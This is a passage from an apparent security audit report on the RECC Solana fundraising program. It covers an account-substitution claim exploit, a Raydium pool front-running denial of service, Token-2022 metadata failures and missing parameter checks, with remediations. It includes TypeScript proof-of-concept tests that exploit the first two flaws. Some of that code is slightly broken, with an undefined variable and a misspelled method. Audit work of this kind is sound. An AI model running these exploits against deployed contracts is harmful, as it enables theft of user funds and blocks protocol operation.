    let is_vault_credited = is_vault_ata_credited(
      self.vault_ata.amount,
      self.fundraise.target_amount,
      self.project.estimated_yield_bps
    )?;

    if !is_vault_credited {
      return err!(ReccErrorCode::VaultNotCredited);
    }

    return Ok(());
  }

Proof of Concept
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  Signer,
  SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";

anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program  = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer   = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey("metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s");


const wait = (ms: number) => new Promise(r => setTimeout(r, ms));

const uiToBn = (
  bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);

async function airdrop(pubkey: PublicKey, sol = 100) {
  await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
  await wait(1_000);
}

async function createFundraise(
  { lpMint, usdcMint, target, bps, fundraiseEnd, projectEnd }: {
    lpMint: Signer; usdcMint: PublicKey; target: number; bps: number;
    fundraiseEnd: number; projectEnd: number
}) {
  const [fundraise] = PublicKey.findProgramAddressSync(
    [Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
    program.programId,
  );
  const [project] = PublicKey.findProgramAddressSync(
    [Buffer.from("project"), lpMint.publicKey.toBuffer()],
    program.programId,
  );
  const vaultAta = getAssociatedTokenAddressSync(
    usdcMint, fundraise, true, TOKEN_PROGRAM_ID,
  );

  const now   = (await provider.connection.getBlockTime(
    await provider.connection.getSlot()))!;
  const DAY10 = 86400 * 10;

  const [metadataPda, _] = await PublicKey.findProgramAddressSync(
    [
        Buffer.from("metadata"),
        METADATA_PROGRAM_ID.toBuffer(),
        lpMint.publicKey.toBuffer(),
        ],
        METADATA_PROGRAM_ID
    );

  await program.methods
    .createFundraise(
      {
        targetAmount:        new anchor.BN(target),
        fundraiseStart:      new anchor.BN(now),
        fundraiseEnd:        new anchor.BN(now + fundraiseEnd),
        projectEnd:          new anchor.BN(now + projectEnd),
        estimatedYieldBps:   bps,
        presaleMerkleRoot:   Array(32).fill(0),
      },
      { name: "LP", symbol: "LP", uri: "https://example.com" },
    )
    .accounts({
      authority:             signer.publicKey,
      lpMint: lpMint.publicKey,
      contributionMint:      usdcMint,
      lpTokenMetadataAccount: metadataPda,
      tokenProgram:          TOKEN_PROGRAM_ID,
    })
    .signers([signer, lpMint])
    .rpc();

  return { fundraise, project, vaultAta };
}

describe("claim-hijack via wrong Project", () => {
  let usdcMint: PublicKey;

  let lpMintA;
  let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;

  let lpMintB;
  let projectB: PublicKey;

  let lpMintC;
  let projectC: PublicKey;

  let userLpAtaA: PublicKey;
  let userUsdcAta: PublicKey;

  before("set up two raises and user LP-A", async () => {
    await airdrop(signer.publicKey);

    usdcMint = await createMint(
      provider.connection, signer, signer.publicKey, null, 6,
    );

    lpMintA = Keypair.generate();
    ({ fundraise: fundraiseA, project: projectA, vaultAta: vaultA } =
      await createFundraise({ lpMint: lpMintA, usdcMint, target: 100_000*1e6, bps: 2_500, fundraiseEnd: 3, projectEnd: 7 }));

    lpMintB = Keypair.generate();
    ({ project: projectB } =
      await createFundraise({ lpMint: lpMintB, usdcMint, target: 100_000*1e6, bps: 1_700, fundraiseEnd: 3, projectEnd: 7 }));

    lpMintC = Keypair.generate();
    ({ project: projectC } =
      await createFundraise({ lpMint: lpMintC, usdcMint, target: 0, bps: 0, fundraiseEnd: 0, projectEnd: 0 }));

    userUsdcAta = (await getOrCreateAssociatedTokenAccount(
      provider.connection, signer, usdcMint, signer.publicKey,
    )).address;

    await mintTo(
      provider.connection, signer, usdcMint, userUsdcAta,
      signer.publicKey, 10_000 * 1e6,
    );

    userLpAtaA = (await getOrCreateAssociatedTokenAccount(
      provider.connection, signer, lpMintA.publicKey , signer.publicKey,
    )).address;

    await program.methods
      .contribute(new anchor.BN(10_000 * 1e6), null) 
      .accounts({
        authority:                signer.publicKey,
        fundraise:                fundraiseA,
        project:                  projectA,
        lpMint:                   lpMintA.publicKey,
        contributionMint:         usdcMint,
        authorityContributionAta: userUsdcAta,
        authorityLpAta:           userLpAtaA,
        vaultAta:                 vaultA,
        tokenProgram:             TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    await mintTo(
      provider.connection, signer, usdcMint, vaultA,
      signer.publicKey, 90_000 * 1e6,
    );

  });

  it("user claims LP.A with lower yield Project B", async () => {

    await wait(5000);

    const preBal = uiToBn(
      await provider.connection.getTokenAccountBalance(userUsdcAta),
    );

    let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");

    await program.methods
      .claim()
      .accounts({
        authority:                signer.publicKey,
        fundraise:                fundraiseA,   // correct
        project:                  projectB,     // lower bps
        lpMint:                   lpMintA.publicKey,
        contributionMint:         usdcMint,
        authorityLpAta:           userLpAtaA,
        authorityContributionAta: userUsdcAta,
        vaultAta:                 vaultA,
        protocolVault,            
        systemProgram:            SystemProgram.programId,
        tokenProgram:             TOKEN_PROGRAM_ID,
        associatedTokenProgram:   anchor.utils.token.ASSOCIATED_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    const postBal = uiToBn(
      await provider.connection.getTokenAccountBalance(userUsdcAta),
    );
    console.log("gained", gained);

  });

  it("user claims original amount unintentioanlly", async () => {

    await wait(3000);

    let userPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(userUsdcAta),
    );

    let vaultPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(vaultA),
    );

    console.log("Before::userPreBal", Number(userPreBal)/1e6)
    console.log("Before::vaultPreBal", Number(vaultPreBal)/1e6)
    

    let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");

    await program.methods
      .claim()
      .accounts({
        authority:                signer.publicKey,
        fundraise:                fundraiseA,   // correct
        project:                  projectC,     // malicious project
        lpMint:                   lpMintA.publicKey,
        contributionMint:         usdcMint,
        authorityLpAta:           userLpAtaA,
        authorityContributionAta: userUsdcAta,
        vaultAta:                 vaultA,
        protocolVault,            
        systemProgram:            SystemProgram.programId,
        tokenProgram:             TOKEN_PROGRAM_ID,
        associatedTokenProgram:   anchor.utils.token.ASSOCIATED_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();


    userPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(userUsdcAta),
    );

    vaultPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(vaultA),
    );

    console.log("After::userPreBal", Number(userPreBal)/1e6)
    console.log("After::vaultPreBal", Number(vaultPreBal)/1e6)
  });
});

Test Result



BVSS
Recommendation

It is recommended to ensure that the project account provided in the claim instruction matches the project key stored in the fundraise PDA.

Remediation Comment

SOLVED: The RECC team resolved the finding by removing Project PDA and introducing FundraiseV2 PDA.

Remediation Hash
9851e03c99262fb05155ab1af5060d83403be300

7.6 Pool Front-Running Blocks External Market Creation

//

Low

Description

The migrate instruction allows anyone to bootstrap external liquidity by creating a Raydium CLMM pool and injecting 10% of the raised contribution tokens. This seeded pool serves as an exit path for contributors, enabling early withdrawals.


However, because the Raydium pool address is deterministically derived from known inputs (AMM config and the mint pair), anyone can create the same pool externally before the migrate instruction. If a malicious actor front-runs the pool creation and initializes it themselves, the create_pool CPI will fail with an account already in use error. This causes the entire migrate instruction to revert, blocking the protocol from seeding external liquidity altogether.


program/src/instructions/migrate.rs

#[access_control(ctx.accounts.validate())]
  pub fn migrate(
    ctx: Context<Migrate>,
    tick_lower_index: i32,
    tick_upper_index: i32,
    tick_array_lower_start_index: i32,
    tick_array_upper_start_index: i32,
    liquidity: u64
  ) -> Result<()> {
    // _ create pool
    // assuming we want our tokens to be pegged 1:1
    let price: f64 = 1.0;
    let sqrt_price = price.sqrt(); // = 1.0
    let sqrt_price_x64 = (sqrt_price * (2f64).powi(64)).round() as u128;

    let create_pool_accounts = CreatePool {
      pool_creator: ctx.accounts.payer.to_account_info(),
      amm_config: ctx.accounts.amm_config.to_account_info(),
      pool_state: ctx.accounts.pool_state.to_account_info(),
      token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
      token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
      token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
      token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
      observation_state: ctx.accounts.observation_state.to_account_info(),
      tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
      token_program_0: ctx.accounts.token_program.to_account_info(),
      token_program_1: ctx.accounts.token_program.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_context = CpiContext::new(
      ctx.accounts.clmm_program.to_account_info(),
      create_pool_accounts
    );
    create_pool(cpi_context, sqrt_price_x64, 0)?;

    // todo,
    // todo: mint lp and contribution tokens to the  token_account_1 and token_account_0

    // transfer to the temp token accounts
    let liquidity_amount = ctx.accounts.fundraise.target_amount
      .checked_div(10)
      .ok_or(ReccErrorCode::MathOverflow)?;
    let cpi_program = ctx.accounts.token_program.to_account_info();

    // doing this to check which one is the contribution mint and lp mint
    let contribution_mint_key = ctx.accounts.vault_ata.mint;
    let is_contribution_mint_0 =
      contribution_mint_key == ctx.accounts.token_mint_0.key();

    let (contribution_mint, lp_mint) = if is_contribution_mint_0 {
      (ctx.accounts.token_mint_0.clone(), ctx.accounts.token_mint_1.clone())
    } else {
      (ctx.accounts.token_mint_1.clone(), ctx.accounts.token_mint_0.clone())
    };
    //
    let (contribution_mint_ta, lp_mint_ta) = if is_contribution_mint_0 {
      (
        ctx.accounts.token_account_0.clone(),
        ctx.accounts.token_account_1.clone(),
      )
    } else {
      (
        ctx.accounts.token_account_1.clone(),
        ctx.accounts.token_account_0.clone(),
      )
    };

    // if it's the contribution mint we want to transfer it
    let lp_mint_key = lp_mint.key();
    let fundraise_bump = &[ctx.accounts.fundraise.bump];
    let signer_seeds = &[
      &[Fundraise::SEED.as_bytes(), lp_mint_key.as_ref(), fundraise_bump][..],
    ];

    let cpi_accounts = TransferChecked {
      from: ctx.accounts.vault_ata.to_account_info(),
      mint: contribution_mint.to_account_info(),
      to: contribution_mint_ta.to_account_info(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let transfer_cpi_context = CpiContext::new_with_signer(
      cpi_program.clone(),
      cpi_accounts,
      signer_seeds
    );
    token_interface::transfer_checked(
      transfer_cpi_context,
      liquidity_amount,
      contribution_mint.decimals
    )?;

    // // if it's the lp mint we want to mint it
    let mint_to_cpi_accounts = MintTo {
      mint: lp_mint.to_account_info().clone(),
      to: lp_mint_ta.to_account_info().clone(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let mint_to_cpi_context = CpiContext::new_with_signer(
      cpi_program,
      mint_to_cpi_accounts,
      signer_seeds
    );
    token_interface::mint_to(mint_to_cpi_context, liquidity_amount)?;

    // -------

    // _ open position
    // _ because we allow anyone to call this position, the position nft authority
    // _ is the fundraise PDA.
    // _ con - create another ix to manage it e.g transfer/burn
    let open_position_accounts = OpenPositionV2 {
      payer: ctx.accounts.payer.to_account_info(),
      position_nft_owner: ctx.accounts.fundraise.to_account_info(),
      position_nft_mint: ctx.accounts.position_nft_mint.to_account_info(),
      position_nft_account: ctx.accounts.position_nft_account.to_account_info(),
      metadata_account: ctx.accounts.metadata_account.to_account_info(),
      pool_state: ctx.accounts.pool_state.to_account_info(),
      protocol_position: ctx.accounts.protocol_position.to_account_info(),
      tick_array_lower: ctx.accounts.tick_array_lower.to_account_info(),
      tick_array_upper: ctx.accounts.tick_array_upper.to_account_info(),
      personal_position: ctx.accounts.personal_position.to_account_info(),
      token_account_0: ctx.accounts.token_account_0.to_account_info(),
      token_account_1: ctx.accounts.token_account_1.to_account_info(),
      token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
      token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      token_program: ctx.accounts.token_program.to_account_info(),
      associated_token_program: ctx.accounts.associated_token_program.to_account_info(),
      metadata_program: ctx.accounts.metadata_program.to_account_info(),
      token_program_2022: ctx.accounts.token_program_2022.to_account_info(),
      vault_0_mint: ctx.accounts.token_mint_0.to_account_info(),
      vault_1_mint: ctx.accounts.token_mint_1.to_account_info(),
    };
    let cpi_context = CpiContext::new(
      ctx.accounts.clmm_program.to_account_info(),
      open_position_accounts
    );

    open_position_v2(
      cpi_context,
      tick_lower_index,
      tick_upper_index,
      tick_array_lower_start_index,
      tick_array_upper_start_index,
      liquidity as u128,
      liquidity_amount, // amount_0_max,
      liquidity_amount, // amount_1_max,
      true,
      Some(true) // ! should this be true
    )?;

    Ok(())
  }

Proof of Concept
// RECC Program test suite
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";

import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
  tokenMetadataUpdateFieldWithRentTransfer,
  transfer,
} from "@solana/spl-token";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  Signer,
  SystemProgram,
  Transaction,
} from "@solana/web3.js";
import { expect } from "chai";
import { createPoolInstruction } from "@raydium-io/raydium-sdk";

anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
  "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);

const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));

const uiToBn = (
  bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);

async function airdrop(pubkey: PublicKey, sol = 100) {
  await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
  await wait(1_000);
}

async function createFundraise({
  lpMint,
  usdcMint,
  target,
  bps,
  fundraiseEnd,
  projectEnd,
}: {
  lpMint: Signer;
  usdcMint: PublicKey;
  target: number;
  bps: number;
  fundraiseEnd: number;
  projectEnd: number;
}) {
  const [fundraise] = PublicKey.findProgramAddressSync(
    [Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const [project] = PublicKey.findProgramAddressSync(
    [Buffer.from("project"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const vaultAta = getAssociatedTokenAddressSync(
    usdcMint,
    fundraise,
    true,
    TOKEN_PROGRAM_ID
  );

  const now = (await provider.connection.getBlockTime(
    await provider.connection.getSlot()
  ))!;
  const DAY10 = 86400 * 10;

  const [metadataPda, _] = await PublicKey.findProgramAddressSync(
    [
      Buffer.from("metadata"),
      METADATA_PROGRAM_ID.toBuffer(),
      lpMint.publicKey.toBuffer(),
    ],
    METADATA_PROGRAM_ID
  );

  await program.methods
    .createFundraise(
      {
        targetAmount: new anchor.BN(target),
        fundraiseStart: new anchor.BN(now),
        fundraiseEnd: new anchor.BN(now + fundraiseEnd),
        projectEnd: new anchor.BN(now + projectEnd),
        estimatedYieldBps: bps,
        presaleMerkleRoot: Array(32).fill(0),
      },
      { name: "LP", symbol: "LP", uri: "https://example.com" }
    )
    .accounts({
      authority: signer.publicKey,
      lpMint: lpMint.publicKey,
      contributionMint: usdcMint,
      lpTokenMetadataAccount: metadataPda,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .signers([signer, lpMint])
    .rpc();

  return { fundraise, project, vaultAta };
}

export const CLMM_PROGRAM_ID = new PublicKey(
  "DRayAUgENGQBKVaX8owNhgzkEDyoHTGVEGHVJT1E9pfH"
);

export const ammConfigKey = new PublicKey(
  "CD4aJtX11cqTCAc83nxSPkkh5JW2yjD6uwHeovjqQ1qu"
);

const POOL_SEED = "pool";
const POOL_VAULT_SEED = "pool_vault";
const OBSERVATION_SEED = "observation";
const POOL_TICK_ARRAY_BITMAP_SEED = "pool_tick_array_bitmap_extension";

function derivePoolPdas(
  ammConfig: PublicKey,
  tokenMint0: PublicKey,
  tokenMint1: PublicKey
) {
  // 1. pool_state
  const [poolState, poolStateBump] = PublicKey.findProgramAddressSync(
    [
      Buffer.from(POOL_SEED),
      ammConfig.toBuffer(),
      tokenMint0.toBuffer(),
      tokenMint1.toBuffer(),
    ],
    CLMM_PROGRAM_ID
  );

  // 2. token_vault_0
  const [tokenVault0, tokenVault0Bump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint0.toBuffer()],
    CLMM_PROGRAM_ID
  );

  // 3. token_vault_1
  const [tokenVault1, tokenVault1Bump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint1.toBuffer()],
    CLMM_PROGRAM_ID
  );

  // 4. observation_state
  const [observationState, obsBump] = PublicKey.findProgramAddressSync(
    [Buffer.from(OBSERVATION_SEED), poolState.toBuffer()],
    CLMM_PROGRAM_ID
  );

  // 5. tick_array_bitmap
  const [tickArrayBitmap, bitmapBump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_TICK_ARRAY_BITMAP_SEED), poolState.toBuffer()],
    CLMM_PROGRAM_ID
  );

  return {
    poolState,
    poolStateBump,
    tokenVault0,
    tokenVault0Bump,
    tokenVault1,
    tokenVault1Bump,
    observationState,
    obsBump,
    tickArrayBitmap,
    bitmapBump,
  };
}

describe("Pool Tests", () => {
  let usdcMint: PublicKey;

  let lpMintA;
  let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;

  let userLpAtaA: PublicKey;
  let userUsdcAta: PublicKey;

  before("set up two raises and user LP-A", async () => {
    await airdrop(signer.publicKey);

    usdcMint = await createMint(
      provider.connection,
      signer,
      signer.publicKey,
      null,
      6
    );

    lpMintA = Keypair.generate();
    ({
      fundraise: fundraiseA,
      project: projectA,
      vaultAta: vaultA,
    } = await createFundraise({
      lpMint: lpMintA,
      usdcMint,
      target: 100_000 * 1e6,
      bps: 2_500,
      fundraiseEnd: 3,
      projectEnd: 7,
    }));

    userUsdcAta = (
      await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        usdcMint,
        signer.publicKey
      )
    ).address;

    userLpAtaA = (
      await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        lpMintA.publicKey,
        signer.publicKey
      )
    ).address;

    // Simulate Fundraise complete with only $20,000
    await mintTo(
      provider.connection,
      signer,
      usdcMint,
      vaultA,
      signer.publicKey,
      20_000 * 1e6
    );
  });

  it("Pool create", async () => {

    console.log("lpMintA.publicKey", lpMintA.publicKey)
    console.log("usdcMint", usdcMint)

    // wait 15 seconds
    await wait(20000);

    // Ensure mint0 < mint1 (Raydium constraint)
    const [mint0, mint1] =
      lpMintA.publicKey.toBase58() < usdcMint.toBase58()
        ? [lpMintA.publicKey, usdcMint]
        : [usdcMint, lpMintA.publicKey];

    const pdas = derivePoolPdas(ammConfigKey, mint0, mint1);

    const sqrtPriceX64 = new anchor.BN(1).shln(64); // 1.0 in Q64.64

    let positionNftAccount = Keypair.generate();

    let temp = Keypair.generate();

    await program.methods
      .migrate(
        -120, 
        +120, 
        -128, 
        +0, 
        new anchor.BN(1_000_000)
      )
      .accounts({
        payer: signer.publicKey,
        fundraise: fundraiseA,
        tokenMint0: usdcMint,
        vaultAta: vaultA,
        tokenMint1: lpMintA.publicKey,
        poolState: pdas.poolState,
        ammConfig: ammConfigKey,
        tokenVault0: pdas.tokenVault0,
        tokenVault1: pdas.tokenVault1,
        tickArrayBitmap: pdas.tickArrayBitmap,
        observationState: pdas.observationState,
        positionNftMint: temp.publicKey,
        positionNftAccount: positionNftAccount.publicKey,
        metadataAccount: temp.publicKey,
        protocolPosition: temp.publicKey,
        tickArrayLower: temp.publicKey,
        tickArrayUpper: temp.publicKey,
        personalPosition: temp.publicKey,
        clmmProgram: CLMM_PROGRAM_ID,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer, temp])
      .rpc();
  });
});

// Attacker program test
it("Create a pool before migrate", async () => {

    await airdrop(signer.publicKey);

    let lpMintA = new PublicKey("8A7ePLifVws4iFQm85ZRhHEmgJWh4EQwDCJBVEVKuQDR");
    let usdcMint = new PublicKey("6NvVJ7Nqn9wt6ad16BydJv8Lg7hRrQ5rYmkyg58sEr9k");

      const [mint0, mint1] =
      lpMintA.toBase58() < usdcMint.toBase58()
        ? [lpMintA, usdcMint]
        : [usdcMint, lpMintA];
    const pdas = derivePoolPdas(ammConfigKey, mint0, mint1);

    const sqrtPriceX64 = new anchor.BN(1).shln(64); // 1.0 in Q64.64

    await program.methods
      .craetePool(sqrtPriceX64, new anchor.BN(0))
      .accounts({
        clmmProgram: CLMM_PROGRAM_ID,
        poolCreator: signer.publicKey,
        ammConfig: ammConfigKey,
        tokenMint0: usdcMint,
        tokenMint1: lpMintA,
        observationState: pdas.observationState,
        tokenProgram0: TOKEN_PROGRAM_ID,
        tokenProgram1: TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();
  })

Attacker send the transaction first




Genuine pool creation transaction failed



BVSS
Recommendation

It is recommended to move the initial Raydium CLMM pool creation i.e (create_pool()) and initialization logic i.e (open_position_v2()) to the create_fundraise instruction, then later allow the remaining 10% of liquidity to be injected in the migrate instruction after the fundraise completes to enable the external market.

Remediation Comment

SOLVED: The RECC team solved the finding by commenting out the migrate instruction.

Remediation Hash
eb0bf45999c996a0ab181abf3c8f935dca15cf7b

7.7 Token-2022 LP Mint and Transfer Fee Extension Not Properly Supported

//

Low

Description

The RECC protocol is designed to support two configurations for creating a fundraise:

  1. A Token-2022 LP mint used alongside a Token-2022 contribution mint (i.e TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb)

  2. A SPL-TOKEN LP mint used with a SPL-TOKEN contribution mint (i.e TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA)


While the second configuration works as expected, the first using Token-2022 LP and contribution mints is currently not fully supported. Any attempt to create metadata using Token-2022 LP mints results in failures due to incorrect use of legacy CPI interfaces (create_metadata_accounts_v3).


Since the protocol intends to support Token-2022 tokens as contribution mints, it also currently lacks validation to check whether the mint has the TransferFee extension enabled. As a result, LP tokens may be issued based on input parameter, rather than the user’s intended contribution. This can cause discrepancies where claim or withdrawal amounts do not match contributed amount, leading to unintended behavior and breaking internal accounting assumptions.


program/src/instructions/create.rs

pub fn create(
    ctx: Context<CreateFundraise>,
    crowdfund_args: CrowdfundArgs,
    metadata_args: LpTokenMetadataArgs
  ) -> Result<()> {
    let project = &mut ctx.accounts.project;
    let fundraise = &mut ctx.accounts.fundraise;
    let lp_mint = ctx.accounts.lp_mint.key();

    let CrowdfundArgs {
      target_amount,
      fundraise_end,
      fundraise_start,
      project_end,
      estimated_yield_bps,
      presale_merkle_root,
    } = crowdfund_args;
    let LpTokenMetadataArgs { name, symbol, uri } = metadata_args;

    // project details
    **project = Project::new(
      ctx.bumps.project,
      ctx.accounts.authority.key(),
      lp_mint.key(),
      project_end,
      estimated_yield_bps
    );

    // fundraise details
    **fundraise = Fundraise::new(
      ctx.bumps.fundraise,
      ctx.accounts.authority.key(),
      project.key(),
      target_amount,
      fundraise_end,
      fundraise_start,
      presale_merkle_root
    );

    // add metadata
    let fundraise_bump = &[fundraise.bump];
    let signer_seeds = &[
      &[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
    ];

    let cpi_program = ctx.accounts.metadata_program.to_account_info();
    let cpi_accounts = CreateMetadataAccountsV3 {
      metadata: ctx.accounts.lp_token_metadata_account.to_account_info(),
      mint: ctx.accounts.lp_mint.to_account_info(),
      mint_authority: ctx.accounts.fundraise.to_account_info(),
      update_authority: ctx.accounts.fundraise.to_account_info(),
      payer: ctx.accounts.authority.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_ctx = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );

    msg!("metadta address {:?}", ctx.accounts.lp_token_metadata_account.key); // ! debug, get rid of me

    create_metadata_accounts_v3(
      cpi_ctx,
      DataV2 {
        name,
        symbol,
        uri,
        seller_fee_basis_points: 0,
        creators: None,
        collection: None,
        uses: None,
      },
      false, // Is mutable
      true, // Update authority is signer
      None // Collection details
    )?;

    msg!("Project Created");
    Ok(())
  }

Proof of Concept


BVSS
Recommendation

It is recommended to utilize CreateV1CpiBuilder from the mpl-token-metadata provided by the Metaplex Token Metadata program, as it supports metadata creation for both SPL-Token (legacy) and SPL-Token-2022 mints. Additionally, the program should validate that the contribution_mint does not have the TransferFee extension enabled.

Remediation Comment

SOLVED: The RECC team resolved the finding by supporting metadata creation for Token-2022 mints and validating that the contribution_mint does not have the TransferFee extension enabled.

Remediation Hash
eb0bf45999c996a0ab181abf3c8f935dca15cf7b

7.8 Missing Validation in Multiple Instructions

//

Informational

Description

MISSING VALIDATION IN CREATE_FUNDRAISE AND UPDATE_FUNDRAISE


The RECC protocol allows fundraises to be initialized or updated through the create_fundraise and update_fundraise instructions. However, both instructions lack important validations on these parameters, which can lead to denial-of-service or manipulation of fundraise logic:


  • The fundraise.authority can reduce the target_amount even after the fundraise is completed, making it appear as if the vault is sufficiently credited and allowing unintended claims, despite the original obligation not being met

  • Not validating fundraise_end to be after fundraise_start would prevent contributions for that project.

  • If project_end occurs before the fundraise_end ends, the authority has no window to deposit the repayment, effectively blocking users from ever claiming their yield

  • The estimated_yield_bps can be set to zero which will result in no yields for the users.


program/src/instructions/create.rs

  pub fn create(
    ctx: Context<CreateFundraise>,
    crowdfund_args: CrowdfundArgs,
    metadata_args: LpTokenMetadataArgs
  ) -> Result<()> {
    let project = &mut ctx.accounts.project;
    let fundraise = &mut ctx.accounts.fundraise;
    let lp_mint = ctx.accounts.lp_mint.key();

    let CrowdfundArgs {
      target_amount,
      fundraise_end,
      fundraise_start,
      project_end,
      estimated_yield_bps,
      presale_merkle_root,
    } = crowdfund_args;
    let LpTokenMetadataArgs { name, symbol, uri } = metadata_args;

    // project details
    **project = Project::new(
      ctx.bumps.project,
      ctx.accounts.authority.key(),
      lp_mint.key(),
      project_end,
      estimated_yield_bps
    );

    // fundraise details
    **fundraise = Fundraise::new(
      ctx.bumps.fundraise,
      ctx.accounts.authority.key(),
      project.key(),
      target_amount,
      fundraise_end,
      fundraise_start,
      presale_merkle_root
    );

    // add metadata
    let fundraise_bump = &[fundraise.bump];
    let signer_seeds = &[
      &[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
    ];

    let cpi_program = ctx.accounts.metadata_program.to_account_info();
    let cpi_accounts = CreateMetadataAccountsV3 {
      metadata: ctx.accounts.lp_token_metadata_account.to_account_info(),
      mint: ctx.accounts.lp_mint.to_account_info(),
      mint_authority: ctx.accounts.fundraise.to_account_info(),
      update_authority: ctx.accounts.fundraise.to_account_info(),
      payer: ctx.accounts.authority.to_account_info(),
      system_program: ctx.accounts.system_program.to_account_info(),
      rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_ctx = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );

    msg!("metadta address {:?}", ctx.accounts.lp_token_metadata_account.key); // ! debug, get rid of me

    create_metadata_accounts_v3(
      cpi_ctx,
      DataV2 {
        name,
        symbol,
        uri,
        seller_fee_basis_points: 0,
        creators: None,
        collection: None,
        uses: None,
      },
      false, // Is mutable
      true, // Update authority is signer
      None // Collection details
    )?;

    msg!("Project Created");
    Ok(())
  }

program/src/instructions/update.rs

#[access_control(ctx.accounts.validate())]
  pub fn update(
    ctx: Context<UpdateFundraise>,
    new_project_end: Option<u64>,
    new_estimated_yield_bps: Option<u16>,
    new_target_amount: Option<u64>,
    new_fundraise_end: Option<u64>,
    new_fundraise_start: Option<u64>,
    new_presale_merkle_root: Option<[u8; 32]>
  ) -> Result<()> {
    let project = &mut ctx.accounts.project;
    let fundraise = &mut ctx.accounts.fundraise;

    project.update(new_project_end, new_estimated_yield_bps)?;

    fundraise.update(
      new_target_amount,
      new_fundraise_end,
      new_fundraise_start,
      new_presale_merkle_root
    )?;

    msg!("Project details updated");
    Ok(())
  }

MISSING VALIDATION IN CONTRIBUTE INSTRUCTION


The contribute instruction allows users to deposit tokens in exchange for LP tokens tied to a specific project. However, it currently allows contributing 0 amount, which results in unnecessary token account interactions and LP minting logic being executed even when no value is transferred.


program/src/instructions/contribute.rs

  #[access_control(ctx.accounts.validate(proof, amount))]
  pub fn contribute(
    ctx: Context<Contribute>,
    amount: u64,
    proof: Option<Vec<[u8; 32]>>
  ) -> Result<()> {
    let fundraise: &mut Account<'_, Fundraise> = &mut ctx.accounts.fundraise;
    let lp_mint = ctx.accounts.lp_mint.key();

    // ? transfer tokens to the vault ata
    let cpi_accounts = TransferChecked {
      from: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
      mint: ctx.accounts.contribution_mint.to_account_info().clone(),
      to: ctx.accounts.vault_ata.to_account_info().clone(),
      authority: ctx.accounts.authority.to_account_info(),
    };
